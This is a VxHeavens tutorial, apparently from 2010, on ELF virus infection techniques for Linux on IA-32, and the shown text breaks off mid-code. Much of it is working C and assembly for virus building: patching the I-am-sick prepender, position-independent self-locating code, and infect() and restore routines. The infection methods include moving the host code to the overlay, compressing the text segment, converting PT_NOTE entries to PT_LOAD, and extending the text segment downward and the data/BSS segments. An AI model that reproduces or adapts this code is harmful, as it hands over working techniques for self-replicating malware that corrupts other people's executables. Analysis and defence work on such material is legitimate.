Version 0.1
herm1t (x) VxHeavens.com, June 2010
Abstract
This paper presents the different ELF infection strategies. The primary
target is Linux running on IA-32, however most of the code from this
tutorial could be adopted for other systems and even other platforms.
The snippets includes manipulations with segments (padding, shifting
text segment down, merging segments, adding and replacing PHT entries,
extending data and BSS areas and different cavity infections, such as
data, text, header's cavities).
Chapter 1. The Great Prepender
Most likely all of you familiar with prependers, the simplest form of
infection - the virus searches for suitable victims, writes itself to
the beginning of the victim, dumps the original file (located after the
last byte of the virus) to the temporary file and executes it. This
kind of things are known since MS-DOS and could be easily adopted to
unices. I will show that even this protozoan viruses could be improved
if you're familiar with the ELF structure.
The common thing with this stuff (like Kaiowas, I-am-sick, Bliss and
many many others) that the size of the program is not known at the time
of compilation. The virus needs to know its own size to find the start
of the original program appended to the virus tail. This is the case
when the size is really matters. Usually, it's hardcoded in the source
and when you're trying to build the source in the different environment
you'll have to compile it twice to get the correct value (or even three
times, if the original size was set to zero):
=== size-ct.c ===
int main(int argc, char **argv)
{
printf("%d\n", SIZE);
}
===
# gcc -s -DSIZE=0 size-ct.c
# ./a.out
0
$ ll ./a.out
-rwxr-xr-x 1 root root 2908 Apr 29 14:30 ./a.out
# gcc -s -DSIZE=2908 size-ct.c
# ./a.out
2908
$ ll ./a.out
-rwxr-xr-x 1 root root 2912 Apr 29 14:30 ./a.out
$ gcc -s -DSIZE=2912 size-ct.c
$ ./a.out
2912
$ ll ./a.out
-rwxr-xr-x 1 root root 2912 Apr 29 14:30 ./a.out
This happened because the compiler optimizes the access to the short
constants.
Knowledge of ELF structure will help one to avoid this mess. I will not
include here a vast excerpts from the /usr/include/elf.h, you can look
throught it on your localhost. But I need to start somewhere, so the
ELF file consist of the header (Elf32_Ehdr) that is always located at
offset 0 in the file, the executable file will always have the Program
Header Table (array of Elf32_Phdr) which describes the loadable
segments and one or more segments (blobs) listed in PHT. The Sections
Table (array of Elf32_Shdr) is optional and never used neither by
kernel nor by dinamic linker. You can use objcopy(1) or sstrip to
remove a redundant parts of the executable.
The segments with type PT_LOAD are mmaped into memory by kernel, the
text segment usually contains all the headers, so them could be
accessed at run-time. To do that we need to determine the process base
address. (The program is the file itself, the process is the image of
the program in memory ready to run). The obvious way to find the
headers in memory is to use the value defined in SysV ABI - 0x8048000:
$ readelf -l /bin/ls | grep LOAD
LOAD 0x000000 0x08048000 0x08048000 0x150f4 0x150f4 R E 0x1000
LOAD 0x0150f4 0x0805e0f4 0x0805e0f4 0x01211 0x01211 RW 0x1000
To get the size of the virus we will find the loadable segment
(phdr[i].p_type == PT_LOAD) with highest offset and add to it the
segment size:
/* get the max offset within loadable segments */
int elf_max_off(Elf32_Ehdr *ehdr)
{
int i, s, t;
/* get the pointer to Program Header Table */
Elf32_Phdr *phdr = (Elf32_Phdr*)((char*)ehdr + ehdr->e_phoff);
for (i = s = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD) {
t = phdr[i].p_offset + phdr[i].p_filesz;
s = t <= s ? : t;
}
return s;
}
+---------------+
| EHDR | \
| PHT | first loadable segment
| other headers |
| code ... | /
+---------------+
| data | second loadable segment
+---------------+ <--- this is the value we are looking for (the real siz
e of the executable)
| ... | this part of the file will not be loaded to memory
| | here you may find the Section Headers, debug info etc
+---------------+
I am using the CentOS distro where the prelink is enabled by default
and we are in for an unpleasant surprize:
$ readelf -l /bin/ps | grep LOAD
LOAD 0x000000 0x08047000 0x08047000 0x12648 0x12648 R E 0x1000
LOAD 0x012648 0x0805a648 0x0805a648 0x00314 0x2068c RW 0x1000
Some executables has different base address. It's because the prelink
extended the code segment by one page to fit additional headers (it
does it exactly the same way the viruses does and we discuss this
technique in the next chapter), but now we need to find the real base
address in run-time.
Due to mmap(2) constraints, the mmaped region will always began at page
boundary, the page size for IA-32 is 4096 bytes, so we could get any
address within the program, round it down to the page boundary and
check is there ELF magic value at given address, if there is no magic,
substract one page until the ELF header is found:
void *get_base(uint32_t addr) {
addr &= ~4095;
while (*(uint32_t*)addr != 0x464c457fUL) // 'E','L','F',0x7
f
addr -= 4096;
return (void*)addr;
}
So now we can patch some dumb virus to use this code instead of
predefined values, I choose the I-am-sick and here is the diff:
We no longer need this:
-#define MYSIZE 15488 // <- change this
+//#define MYSIZE 15488 // <- change this
+int MYSIZE;
...
+int elf_max_off(Elf32_Ehdr *ehdr)
...
+void *get_base(uint32_t addr) {
...
Put the initialization to main():
+ MYSIZE = elf_max_off(get_base((uint32_t)main));
We could optimize this thing even further, it uses argv[0] to open
itself and read/write(2) to copy the body of the virus. But since we
have the base address we could copy the virus body directly from
memory:
- for (x=0;x
int main(int argc, char **argv)
{
// write(1, "Hello!\n", 7);
char hello[] = {'H', 'e', 'l', 'l', 'o', '!', '\n' };
asm ("int $0x80"::"a"(__NR_write),"b"(1),"c"(hello),"d"(7));
}
or in assembly:
; exit(0)
mov eax, 1
mov ebx, 2
int 0x80
There are also exceptions to this convention:
; socket(PF_INET, SOCK_STREAM, 0)
mov eax, 102 ; __NR_socketcall
mov ebx, 1 ; SYS_SOCKET
push 0 ; protocol
push SOCK_STREAM ; type
push PF_INET ; domain
mov ecx, esp
int 0x80
; mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANONYMOUS, 0, 0);
push 0 ; offset
push 0 ; fd
push 0x20 ; flags
push 0x03 ; prot
push 0x1000 ; length
push 0 ; start
mov eax, 90
mov ebx, esp
int 0x80
We could define the generic syscall as following:
asm( "_syscall:\n"
" pusha\n"
" mov 36(%esp),%eax\n"
" mov 40(%esp),%ebx\n"
" mov 44(%esp),%ecx\n"
" mov 48(%esp),%edx\n"
" mov 52(%esp),%esi\n"
" mov 56(%esp),%edi\n"
" mov 60(%esp),%ebp\n"
" int $0x80\n"
" mov %eax,28(%esp)\n"
" popa\n"
" ret\n");
extern unsigned int _syscall();
#define write(a,b,c) _syscall(4, a,b,c)
...
2.1.2 Virtual Dynamic Shared Object
From the 2.6 series of kernels there is the option to use "sysenter"
instead of "int 0x80". The feature could be enabled by sysctl -w
kernel.vdso=1 If VDSO is available, then the special library appears in
the process address space which contains syscall() function. To obtain
the address of the VDSO syscall you need to parse aux-vector (array of
Elf32_auxv_t located after environment variables):
| 0 0 0 0 | guarding zero
| filename| real filename, one should use this, not argv[0]
| : |
| auxv[0] |
| : |
| : |
| envp[0] | environment
| : |
| : |
| argv[0] | command args
| argc | <- ESP (Stack)
V V
...........
^ ^
| BSS | uninitialized vars and heap
+---------+
| DATA |
+---------+
| CODE |
+---------+
: :
: :
/* examples/sysenter.c */
#include
#include
#include
#include
#include
#include
typedef int __attribute__((regparm(1))) (*syscall0_t) (int);
int main(int argc, char **argv, char **envp)
{
Elf32_auxv_t *aux;
int i;
syscall0_t syscall0 = NULL;
uint32_t *old_syscall;
if ((old_syscall = (uint32_t*)malloc(4 + 4096 - 1)) == NULL)
return 1;
old_syscall = (uint32_t*)(((uint32_t)old_syscall + 4095) & ~(4095)
);
*old_syscall = 0x90c380cd;
if (mprotect(old_syscall, 4, PROT_READ|PROT_EXEC))
return 1;
for (i=0; envp[i]; ++i)
;
for (aux = (Elf32_auxv_t*)(envp + i + 1); aux->a_type; ++aux)
if (aux->a_type == AT_SYSINFO) {
syscall0 = (void*)aux->a_un.a_val;
break;
}
if (syscall0 == NULL) {
printf("AT_SYSINFO not present\n");
syscall0 = (void*)old_syscall;
}
printf("PID is %d\n", syscall0(__NR_getpid));
}
If VDSO is not available the above program would allocate properly
aligned chunk of memory and store there the function which will invoke
"int 0x80" and return the control to the main program. The regparm
attribute is required to force the program to pass the function args
through registers instead of stack. Since regparm cannot be larger than
3, the real syscall routine will require some trickery.
2.1.3 Size and base address again
In the first chapter I showed how to determine the process base
address, but now we need to find the base of the code snippet located
at the random position in memory. The classical approach is to use the
"call" instruction:
virus_start:
...
call 1f # the address of "1" goes
to stack
1: pop %ebp # load it into ebp
sub $(1b - virus_start), %ebp # find the base
Bad news - the CALL will be defined with inline assembly, the rest
could be coded in C:
asm(".globl main; main: call _main; ret");
int _main(int argc)
{
uint32_t addr = *(uint32_t*)(&argc - 1) - 5;
or
asm(".globl main; main: call _main; ret");
int _main(void)
{
uint32_t addr = (uint32_t)__builtin_return_address(0) - 5;
With some versions of gcc the -fno-unit-at-a-time switch is required to
supress block reordering (because the call must be the first
instruction of the virus). After all, the "virus base" code could be
written completely in assembly:
asm( ".globl main; main:\n"
"call 1f\n"
"1: sub $(1b-main), (%esp)\n"
"call _main\n"
"popl %eax\n"
"ret");
void _main(int addr) {
...
To determine the size of the code snippet I will put it between two
labels (the label here is not a C label, the labels of required type
could be defined either by assembly or by dummy functions):
void end(void);
extern start;
asm("start:");
int main(int argc, char **argv)
{
int size = (uint32_t)&end - (uint32_t)&start;
printf("The size of main() function is %d bytes\n", size);
}
void end(){}
This will produce the following code:
08048370 :
8048370: b8 8b 83 04 08 mov $0x804838b,%eax #
end
8048375: 2d 70 83 04 08 sub $0x8048370,%eax #
start
804837a: 89 44 24 08 mov %eax,0x8(%esp) #
size
804837e: c7 44 24 04 60 84 04 movl $0x8048460,0x4(%esp) #
"The size..."
8048385: 08
8048386: e9 25 ff ff ff jmp 80482b0
0804838b :
804838b: c3 ret
Not so good, eh? The original addresses is still here. As always,
assembly would allow to make it more optimal:
asm("start:");
int main(int argc, char **argv)
{
int size;
asm("movl $(end - start), %0" : "=r"(size));
printf("The size of main() function is %d bytes\n", size);
}
asm("end:");
2.1.4 Global variables and constants
This restriction is due to the inability to deal with absolute
addressing in "mobile" code. Let's see into the code of the simplest
"Hello":
080482a0 :
80482a0: ff 25 4c 95 04 08 jmp *0x804954c
80482a6: 68 00 00 00 00 push $0x0
80482ab: e9 e0 ff ff ff jmp 8048290 <_init+0x18>
8048370: 55 push %ebp
8048371: 89 e5 mov %esp,%ebp
8048373: 68 54 84 04 08 push $0x8048454
8048378: e8 23 ff ff ff call 80482a0
804837d: c9 leave
804837e: c3 ret
The offset in the call instruction (0xffffff23) would be added to the
current address (0x804837d) and the resulting address would be
0x80482a0. Such addresses are called _relative_. The address of the
argument to puts() (0x804844) does not depend on the address of the
instruction which uses it, it is _absolute_ address. The virus doesn't
knew (avoided to know) from which address in memory its code would
begin in the victim, so any attempts to use absolute addresses will
lead to crash.
The virus might fix all absolute references within its code, but this
requires either the table with the list of all places where absolute
addresses must be fixed (such table in the regular programs is called
_relocation_ table, it is absent in the majority of executables and
might be keeped by passing -Wl,-emit-relocs switch to the compiler), or
a disassembler which would be able to disassemble the virus, analyze
all the references and fix them. Don't you think that it's a bit too
complex?
int a;
int main(int argc, char **argv)
{
printf("%d\n", a);
return 0;
}
08048370 :
8048370: ff 35 68 95 04 08 pushl 0x8049568 # a variab
le
8048376: 68 5c 84 04 08 push $0x804845c # string "
%d\n"
804837b: e8 30 ff ff ff call 80482b0
8048380: 58 pop %eax
8048381: 5a pop %edx
8048382: 31 c0 xor %eax,%eax
8048384: c3 ret
If we try to load this program at different address the segmentation
fault will be unavoidable, because there would be unmapped pages at the
addresses presented in the code. The crash would happen even earlier
than program interpreter (/lib/ld-linux.so) would try to load libc and
resolve the addresses of the external functions.
An reasonable alternative for the global variables and string constants
is the gcc extension - global register variables and initialized
arrays:
#include
typedef struct {
int a;
} global_vars;
register global_vars *globals asm("ebp");
void foo(void)
{
char fmt[4] = {'%', 'd', '\n', 0 };
printf(fmt, globals->a);
*(uint32_t*)fmt = 0x000a7825; /* "%x\n" */
printf(fmt, globals->a);
}
int main(int argc, char **argv)
{
global_vars g;
globals = &g;
globals->a = 99;
foo();
return 0;
}
08048370 :
8048370: 53 push %ebx
8048371: 50 push %eax
8048372: c7 04 24 25 64 0a 00 movl $0xa6425,(%esp) #
a)
8048379: ff 75 00 pushl 0x0(%ebp) #
globals->a
804837c: 8d 5c 24 04 lea 0x4(%esp),%ebx
8048380: 53 push %ebx
8048381: e8 2a ff ff ff call 80482b0
8048386: c7 44 24 08 25 78 0a movl $0xa7825,0x8(%esp) #
b)
804838d: 00
804838e: ff 75 00 pushl 0x0(%ebp) #
globals->a
8048391: 53 push %ebx
8048392: e8 19 ff ff ff call 80482b0
8048397: 83 c4 14 add $0x14,%esp
804839a: 5b pop %ebx
804839b: c3 ret
0804839c :
804839c: 51 push %ecx
804839d: 89 e5 mov %esp,%ebp #
globals = &g
804839f: c7 04 24 63 00 00 00 movl $0x63,(%esp) $
g.a = 99
80483a6: e8 c5 ff ff ff call 8048370
80483ab: 31 c0 xor %eax,%eax
80483ad: 5a pop %edx
80483ae: c3 ret
The space for the g structure is allocated in the stack and all the
references are relative to the ebp register.
In this example both assigments produce the same code, but case b) is
pref'd, because with large arrays there are chance that gcc will copy
the array's content to the .rodata section and will emit the memcpy
from .rodata to local variable.
2.1.5 Functions addresses, offsets and delta-offsets
The next trivial example of callback:
int bar(void)
{
return 1;
}
int foo(int (*f)(void))
{
return f();
}
main()
{
return foo(bar);
}
Produce the following code:
0804833c :
804833c: b8 01 00 00 00 mov $0x1,%eax
8048341: c3 ret
08048342 :
8048342: ff 54 24 04 call *0x4(%esp)
8048346: c3 ret
08048347 :
8048347: 68 3c 83 04 08 push $0x804833c # abs. add
r. of bar
804834c: e8 f1 ff ff ff call 8048342
8048351: 5a pop %edx
8048352: c3 ret
But it is possible to calculate the addresses of functions at run-time
using their offsets (from the beginning of the virus) or delta-offsets:
/* examples/fooptr1.c */
#include
#include
extern main();
asm(".globl main; main: call _main; ret");
int foo(void)
{
return 99;
}
void _main(void)
{
uint32_t addr = (uint32_t)__builtin_return_address(0) - 5;
int (*foo_ptr)(void) = (int(*)(void))(addr + (foo - main));
printf("%d\n", foo_ptr());
}
/* examples/fooptr2.c */
#include
#include
extern void main(void);
asm(".globl main; main: call _main; ret");
int foo(void)
{
return 99;
}
void _main(void)
{
uint32_t delta = (uint32_t)main - ((uint32_t)__builtin_return_addr
ess(0) - 5);
int (*foo_ptr)(void) = (int(*)(void))((uint32_t)foo + delta);
printf("%d %d\n", delta, foo_ptr());
}
the addresses in the but in the infected file
first gen. of virus virus will occupy
were tuned by the the different addresses
linker
: : : :
8048000 | | 8048000 | |
| | | |
8048370 |main: |--- --- 8048370 |- - - - - - - |
| | X ^ | | virus "thinki
ng"
8048376 |foo: |--- | 8048376 | | that its body
| | | | | is here
| _main: | | | |
| | | D | |
| | | |- - - - - - - |
: : | : :
v : :
X = 8048376 - 8048370 = 6 --- 8049000 | main: | but actually
it's here
D = 8048370 - 8049000 = -3216 | |
8049006 | foo |
| |
| _main |
X is the offset of foo() function from main() label, D is the
delta-offset of the virus (the difference between old and new
addresses). In the code references to foo() may look like "call [ebx +
6]" (ebx contains the base address of virus), or like "call [8048376 +
ebx] (delta in ebx). The results are nearly the same.
Position-independent code generated by the compiler uses the first
trick, but all offsets are calculated from the .got.plt section.
2.1.6 Framework. Sort of.
I will use a few macros and functions to minimize the code of the
examples. It includes recursive search() routine (very similar to the
function from Tannenbaum's MOS book) and common parts of the infect()
routine which will open file for read/write, mmap it and check the
headers.
At last, we have all parts of the future parasite!
2.2 Moving the host to overlay
This is somehow similar to the prepending infection. I will copy the
virus_size bytes from the entry point of the program to the tail of the
file and write the virus body on its place. When the virus will inish
its work it will move itself to the newly allocated memory and will
read the host's original bytes where it were.
BEFORE AFTER
+--------------+ +--------------+
|.ELF | text segment |.ELF |
| | | |
| HOST | <-- entry point --> |VIRUS| ..ST |
| | | |
+--------------+ +--------------+
| | data segment | |
| | | |
| | | |
| | | |
+--------------+ +--------------+
: : non-loadable : :
: : : :
: : : :
+- - - - - - - + +- - - - - - - +
: HO...:
+------+
The virus must:
* Determine the size of its code and location in memory, save it to
global variable
* Find the suitable victim
* Check that there is enough space in the code segment between entry
point and the end of segment
* Move the frgament of the host code (equal in size to the virus)
from the entry point to the end of file
* Write its own code to the entry point
* Find another victim
* Allocate the memory and move its code there
* "Free" the text segment of itself
* Read the host code (from the file's tail) to the text segment
* Pass the control to the entry point
/* 1) find text segment */
Elf32_Phdr *text_seg;
phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
for (text_seg = NULL, i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
text_seg = &phdr[i];
break;
}
if (text_seg == NULL)
goto _unmap;
/* 2) check is there enough space between entry point and end of segment *
/
if ((text_seg->p_vaddr + text_seg->p_filesz - ehdr->e_entry) < 409
6)
goto _unmap;
/* 3) move part of the .text from the entry point to the end of file */
char *p = m + ehdr->e_entry - text_seg->p_vaddr;
if (write(h, p, g->size) != g->size)
goto _unmap;
/* 4) write virus body */
memcpy(p, g->self, g->size);
Easy, right? But when the infected progam will be executed and the
virus will infect eveything that moves, it need to restore the original
program. To do this the virus will:
/* 1) Allocate the memory for the copy of itself */
uint32_t nloc;
nloc = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON
YMOUS, 0, 0);
if (nloc > 0xfffff000)
exit(0);
/* 2) Copy its body there */
memcpy((void*)nloc, (void*)self, size);
/* 3) Jump to the newly allocated memory */
mprotect(nloc, size, PROT_READ|PROT_EXEC);
#ifdef CJMP
void __attribute__((noinline,stdcall)) jmp(uint32_t addr) {
*(volatile unsigned int*)(&addr - 1) = addr;
}
if (nloc == 0xdeadbeef)
goto L;
#warning "You're using CJMP"
jmp(nloc + ((uint32_t)&&L - (uint32_t)&virus_start));
L:
#else
asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r
"(nloc):"%eax");
#endif
/* 4) Change memory permissions of freed memory to RW */
mprotect((void*)((uint32_t)self & 0xfffff000), 8192, PROT_READ|PRO
T_WRITE);
/* 5) Read the original bytes there */
unsigned int selfexe[4];
/* "/proc/self/exe" */
selfexe[0] = 0x6f72702f;
selfexe[1] = 0x65732f63;
selfexe[2] = 0x652f666c;
selfexe[3] = 0x00006578;
int h = open(selfexe, 0);
lseek(h, -size, 2);
read(h, self, size);
read(h, 0, 0);
close(h);
/* 6) Change permissions to RX */
mprotect((void*)((uint32_t)self & 0xfffff000), 8192, PROT_READ|PRO
T_EXEC);
/* 7) Proceed to the entry point */
/* this line is located between 2) and 3) */
*(uint32_t*)(nloc + 10) = (uint32_t)self - (uint32_t)nloc - 14;
...
*(uint32_t*)(&esp - 1) = (nloc + 7);
The memory is allocated by mmap() with MAP_ANONYMOUS flag, the complex
part is jumps coded in C. To free the memory virus need to jump to
newly allocated area:
Steps 1-4 Steps 5-7
: : : :
| V | memory allocated by mmap | V |
| I | | I |
| R |<---+ | R |
| U | | | U |
| S | | +---| S |
: : | | : :
: : | | : :
+---+ text segment | +---+
| | | | | |
| | | | | |
| V |<------ Entry point +-->| H |
| I | | | O |
| R | ---+ | S |
| U | | T |
| S | | |
The complete code of this virus is in the "Mover" directory.
2.3 Compressing the text segment
let's find the place for the host code somewhere within segment.
Compress the code from the entry point:
+--------------+ +--------------+
| | | |
| code code co |< --- EP --- >| VIRUS | comp |
| de code code | | ressed seg. |
| rodata ... | | 0 0 0 0 0 0 |
| | | 0 0 0 0 0 0 |
+--------------+ +--------------+
The code will be quite similar to the previous section, the virus will
* Find the text segment
* Calculate the size of the area between entry point and the end of
segment (size)
* Allocate "size" bytes of memory with brk() system call
* Attempt to compress the host's code (using arithmetic encoding)
* Check is there enough space for the virus body and compressed host
code.
* Copy virus and encoded host's code to the entry point
/* examples/Compressor/infect-compr.c */
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
char tmp[3374];
uint32_t vo = ehdr->e_entry - phdr[i].p_vaddr;
uint32_t csize, size = phdr[i].p_filesz - vo;
char *ctext = (void*)brk(0);
brk(ctext + size);
mprotect(ctext, size, PROT_READ|PROT_WRITE);
if ((csize = ari_compress(m + vo, ctext, size, tmp
)) == 0)
goto error;
if (size < csize + g->size+ 4)
goto error;
uint8_t *p = (uint32_t*)(m + vo);
bzero(p, size);
memcpy(p, g->self, g->size);
p += g->size;
memcpy(p, &size, 4);
p += 4;
memcpy(p, ctext, csize);
/* entry point left unchanged */
break;
error: /* free memory */
bzero(ctext, size);
brk(ctext);
goto _unmap;
}
When the virus will finish its work it is neccessary to unpack the
compressed host's code:
/* examples/Compressor/restore.c */
/* move itself to the new memory location */
uint32_t text_size = *(uint32_t*)(g->self + g->size);
uint32_t nloc;
nloc = mmap(NULL, text_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP
_ANONYMOUS, 0, 0);
if (nloc > 0xfffff000)
exit(0);
memcpy((void*)nloc, g->self, text_size);
*(uint32_t*)(nloc + 8) -= nloc - (uint32_t)g->self;
mprotect(nloc, text_size, PROT_READ|PROT_EXEC);
asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r
"(nloc):"%eax");
/* restore victim */
char tmp[3374];
text_size = (text_size + 4095) & 0xfffff000;
mprotect((uint32_t)g->self & 0xfffff000, text_size, PROT_READ|PROT
_WRITE);
ari_expand((void*)(nloc + g->size + 4), g->self, tmp);
mprotect((uint32_t)g->self & 0xfffff000, text_size, PROT_READ|PROT
_EXEC);
/* adjust return address */
*(uint32_t*)(&esp - 1) = (nloc + 6);
Segments
Replacing unused PHT entries
It's nearly impossible to change the segment address, but may be we
could add another segment? What should we do? Not too much: write the
virus code somewhere in the file and add the entry to the Program
Headers Table describing new segment. But again it's hard to increase
the table size because the table itself is located in the text segment.
Let's take a closer look to the table:
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000
LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000
DYNAMIC 0x014440 0x0805c440 0x0805c440 0x000e0 0x000e0 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4
GNU_EH_FRAME 0x0134f8 0x0805b4f8 0x0805b4f8 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
The neccessary records are of type PT_LOAD (this is the program's code
and data), PT_INTERP (path to the dynamic linker), PT_DYNAMIC (linker's
data). The rest (with some restrictions) could be replaced.
* PT_NOTE rarely used. Might be erased without any doubts.
* PT_PHDR Could be removed if the PHT is located within loadable
segment (usually it is).
* PT_GNU_STACK Could be erased if the program doesn't require the
executable stack ((p_flags & PF_X) == 0)
* PT_GNU_EH_FRAME
How to fill the structure for the new segment?
* p_type - PT_LOAD (loadable segment)
* p_offset - offset of virus in the file
* p_vaddr, p_paddr - virus address in memory (co-aligned with offset)
* p_filesz, p_memsz - virus size
* p_flags - PF_R | PF_X
* p_align - 4096
I will adapt Mover's code.
...
asm( ".globl fake_host; fake_host: mov $1, %eax; int $0x80");
asm( ".globl virus_start; virus_start:\n"
"pusha; call virus; popa; .byte 0xe9; .long fake_host - . - 4");
...
void virus(void)
{
/* determine our own size and location in memory, init globals */
globals glob;
g = &glob;
g->size = (uint32_t)&virus_end - (uint32_t)&virus_start;
g->self = (void*)__builtin_return_address(0) - 6;
/* do our job */
search(NULL);
}
/* examples/Segments/infect-replace.c */
/* find PT_NOTE and min addr */
Elf32_Phdr *p;
uint32_t base;
phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
for (base = 0, p = NULL, i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_NOTE) {
p = &phdr[i];
// break;
} else
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
base = phdr[i].p_vaddr;
if (p == NULL)
goto _unmap;
/* turn PT_NOTE into PT_LOAD */
p->p_type = PT_LOAD;
p->p_flags = PF_R|PF_X;
p->p_align = 0x1000;
p->p_offset = l;
p->p_filesz = p->p_memsz = g->size;
p->p_vaddr = p->p_paddr = base - (2*PAGE_SIZE) + (l & (PAGE_SIZE -
1));
if (write(h, g->self, g->size) != g->size)
goto _unmap;
uint32_t jmp = old_entry - p->p_vaddr - 12;
pwrite(h, &jmp, 4, l + 8, 0);
ehdr->e_entry = p->p_vaddr;
It will look as follows:
File Memory
+------+
|VIRUS |
+------+ +------+
| CODE | | CODE |
+------+ +------+
| DATA | | DATA |
+------+ +------+
: :
: :
+------+
|VIRUS |
+------+
In memory the virus is located one page below text segment. Other
possibility is to map the new segment at the fixed address, that will
even further simplify the code.
Before
Entry point 0x8049db0
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000
LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000
DYNAMIC 0x014440 0x0805c440 0x0805c440 0x000e0 0x000e0 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00020 0x00020 R 0x4
GNU_EH_FRAME 0x0134f8 0x0805b4f8 0x0805b4f8 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
After
Entry point 0x804738c
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000
LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000
DYNAMIC 0x014440 0x0805c440 0x0805c440 0x000e0 0x000e0 RW 0x4
LOAD 0x01538c 0x0804738c 0x0804738c 0x0030e 0x0030e R E 0x1000
GNU_EH_FRAME 0x0134f8 0x0805b4f8 0x0805b4f8 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Extending the text segment "down"
We could not move the text segment (it contains the absolute addresses)
or extend it "up" (the data segment begins right after the code), but
we could extend it "down".
Memory Before After
8047000 +-----------+
| EHDR |
8048000 +-----------+ - - - - -| PHDR - - | - -
| ELF | entry -> | virus |
| PHT | | |
| .interp | _ _ _ _ _| .interp | _ _
: : : :
| | | |
entry ->| .text | | .text |
| | | |
+-----------+ +-----------+
| | | |
| .data | | .data |
| | | |
+-----------+ +-----------+
I will use the same code and change the infect() routine:
/* examples/Segments/infect-textdown.c */
/* FreeBSD assumes that ELF Header, PHDR and INTERP fit in first p
age */
/* see /sys/kern/imgact_elf.c for details */
uint32_t t = 0;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_INTERP) {
t = phdr[i].p_offset + phdr[i].p_filesz;
break;
}
/* no INTERP, put the virus right after PHDR */
if (t == 0)
t = ehdr->e_phoff + ehdr->e_phnum * sizeof(Elf32_Phdr);
/* do we have enough space? */
if ((PAGE_SIZE - t) < g->size)
goto _unmap;
/* copy virus body */
MAKE_HOLE(0, PAGE_SIZE);
memcpy(m + t, g->self, g->size);
bzero(m + t + g->size, PAGE_SIZE - g->size);
/* adjust headers */
SHIFT_SHDRS(0, PAGE_SIZE);
for (i = 0; i < ehdr->e_phnum; i++) {
/* extend text segment downwards */
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
phdr[i].p_vaddr -= PAGE_SIZE;
phdr[i].p_paddr -= PAGE_SIZE;
phdr[i].p_filesz+= PAGE_SIZE;
phdr[i].p_memsz += PAGE_SIZE;
/* change entry point */
*(uint32_t*)(m + t + 8) = old_entry - phdr[i].p_va
ddr - t - 12;
ehdr->e_entry = phdr[i].p_vaddr + t;
} else /* leave these segments in the beginning... */
if (phdr[i].p_type == PT_PHDR || phdr[i].p_type == PT_INTE
RP) {
phdr[i].p_vaddr -= PAGE_SIZE;
phdr[i].p_paddr -= PAGE_SIZE;
} else /* shift the others */
phdr[i].p_offset+= PAGE_SIZE;
}
Extending the data segment
Initializing the .bss
Before After
file memory file and memory
+-----------+ +-----------+ +-----------+
| | | | | |
| .text | | .text | | .text |
+-----------+ +-----------+ +-----------+
| .data | | .data | | .data |
| | | | | |
+-----------+ |- - - - - -| |- - - - - -|
p_memsz > | .bss | | .bss 00000| p_memsz =
p_filesz +-----------+ |- - - - - -| p_filesz
| virus |
+-----------+
/* examples/Segments/infect-bssend.c */
uint32_t t, u;
Elf32_Phdr *p = NULL;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset) {
p = &phdr[i];
break;
}
if (p == NULL)
goto _unmap;
t = p->p_offset + p->p_filesz;
u = p->p_memsz - p->p_filesz + g->size;
MAKE_HOLE(t, u);
bzero(m + t, u);
SHIFT_SHDRS(t, u);
/* write virus body */
memcpy(m + p->p_offset + p->p_memsz, g->self, g->size);
t = p->p_vaddr + p->p_memsz;
*(uint32_t*)(m + p->p_offset + p->p_memsz + 8) = old_entry - t - 1
2;
p->p_flags |= PF_X;
p->p_filesz += u;
p->p_memsz = p->p_filesz;
ehdr->e_entry = t;
End of data segment
Before After
file memory file memory
+-----------+ +-----------+ +-----------+ +-----------+
| | | | | | | |
| .text | | .text | | .text | | .text |
+-----------+ +-----------+ +-----------+ +-----------+
| .data | | .data | | .data | | .data |
| | | | | | | |
+-----------+ |- - - - - -| | | | |
| | | Virus | | Virus |
| .bss | +-----------+ |- - - - - -|
| | | .bss |
+-----------+ +-----------+
/* examples/Segments/infect-dataend.c */
Elf32_Phdr *p = NULL;
uint32_t t, u;
for (i = 0; i < ehdr->e_phnum; i++)
